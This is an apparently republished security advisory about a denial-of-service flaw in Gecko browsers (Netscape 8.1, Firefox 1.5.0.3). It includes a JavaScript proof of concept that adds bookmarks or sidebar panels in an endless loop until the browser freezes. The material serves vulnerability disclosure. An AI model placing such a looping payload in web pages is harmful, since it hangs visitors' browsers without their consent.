[NEWS] Gecko AddFavorite Function DoS

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  Gecko AddFavorite Function DoS
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SUMMARY

By using an endless loop to add bookmarks to the sidebar or the bookmarks 
on Gecko based browsers, attackers can cause a DoS condition and cause 
Gecko based browsers to freeze.

DETAILS

Vulnerable Systems:
 * Netscape Browser version 8.1
 * Firefox version 1.5.0.3

By using endless loop with Gecko based web browsers to add new sidebar or 
bookmark, it is possible to cause Gecko to stop responding.

Proof of Concept:
< script language="JavaScript1.2" type="text/javascript" >

function MainPageBookmark()
{
  title="Gianni Amato";
  url="http://www.gianniamato.it/";

  if (window.sidebar) {
    window.sidebar.addPanel(title, url,"");
  }
  else if( window.external )
  {
    window.external.AddFavorite( url, title);
  }
  else if (window.opera && window.print)
  {
    return true;
  }
}

for (k=0;k<k+1;k++) MainPageBookmark();
< / script>


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> Gianni 
Amato,  <mailto:[email protected]> Juha-Matti Laurio.
The original article can be found at:  
<http://www.milw0rm.com/exploits/1802> 
http://www.milw0rm.com/exploits/1802



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